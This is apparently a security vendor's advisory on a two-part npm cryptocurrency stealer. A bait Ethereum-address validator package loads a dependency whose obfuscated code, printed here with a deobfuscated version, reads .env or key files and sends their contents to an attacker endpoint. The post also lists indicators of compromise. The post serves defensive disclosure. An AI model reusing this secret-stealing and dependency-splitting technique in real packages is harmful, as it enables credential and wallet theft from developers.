New Crypto Stealer on npm. A Two-Part Attack

Andrii Polkovnychenko, JFrog Security Researcher | November 20, 2025

The JFrog Security Team discovered a new cryptocurrency stealer in the npm ecosystem, consisting of two parts: a benign-looking bait package that dynamically loads a separate malicious payload. The attacker may split the function into two separate packages to make detection harder. They assumed that users and reviewers typically focus only on the main package they are installing and do not examine its dependencies. The main module does not contain any malicious code and instead calls a function that seems harmless from the second package. However, this second package holds the data-stealing payload. This tactic may be a reason why the package remained undetected for over two weeks.

This package presents itself as a utility to validate Ethereum addresses. The README and project metadata are minimal, designed to appear like a small utility library for web3 developers.

Upon initial inspection, the code appears harmless, exporting two functions: checkAddressChecksum and isAddress, which perform a basic regex check for ETH addresses. The trap lies in a dynamic import that loads the dynamic payload from the second package, potentially bypassing the static detection mechanism:

const { aesCreateIpheriv } = require("aes-core-valid-ipherv");

The function imported from the malicious model is later called in the utility methods, but its output is never used after the call.

  if((data, 'sha3-256')){
       hexData = aesCreateIpheriv(data, 'sha3-256');
   }

The malicious dependency package is intended to be a utility package that validates SHA256 hashes. It promotes itself as “a professional utility package with improved error handling”. However, the actual code is meant to steal sensitive information and send it to the attacker's server. The function aesCreateIpheric includes a hidden piece of code that enables this theft.

let _0xco3p=Buffer.from('TG1WdWRnPT0=','base64').toString();
let _0xco3k=Buffer.from('YTJWNWN5OWtZWFJoTG1wemIyND0=','base64').toString();
let _0xdq4r=Buffer.from('TGk0dg==','base64').toString();
const _0xes5t=_0xbm2n?_0x3c4d.resolve(process.cwd(),Buffer.from(_0xco3p,'base64').toString());
const _0xfu6v=_0x1a2b.readFileSync(_0xes5t,_0xak1l);
_0xe5f6(_0xfu6v);

After deobfuscation, its purpose becomes clearer:

const encoding = 'utf8';
const resolveFromCwd = false;
const encodedEnvPath = 'TG1WdWRnPT0=';
const encodedDataPath = 'YTJWNWN5OWtZWFJoTG1wemIyND0=';
const encodedParentDir = 'TGk0dg==';
const base64Env = Buffer.from(encodedEnvPath, 'base64').toString(); targetEnvFile = Buffer.from(base64Env, 'base64').toString();
const filePath = resolveFromCwd  ? path.resolve(process.cwd(), targetEnvFile)  : path.resolve(targetEnvFile);
const fileContent = fs.readFileSync(filePath, encoding);
send_data(fileContent);

The code attempts to read the contents of local files, potentially containing secrets (.env or keys/data.json), it passes that data to a handler function, which then exfiltrates it to the attacker-controlled endpoint http://45\[.\]8\[.\]22\[.\]52:5051/api/core-tech.

This incident highlights the importance of thorough code reviews and extensive dependency inspections when working with third-party packages. Developers should remain aware and implement security best practices to protect their projects, ensuring that direct and transitive dependency packages are equally scanned before installation.

URL
http://45\[.\]8\[.\]22\[.\]52:5051/api/core-tec

Package names
@validate-ethereum-address/core (Xray ID - 897541)
aes-core-valid-ipherv (Xray ID - 842817)
@validator-sdk/pubkey (Xray ID - 897543)
@validate-pubkey/hex-malicious (Xray ID - 897542)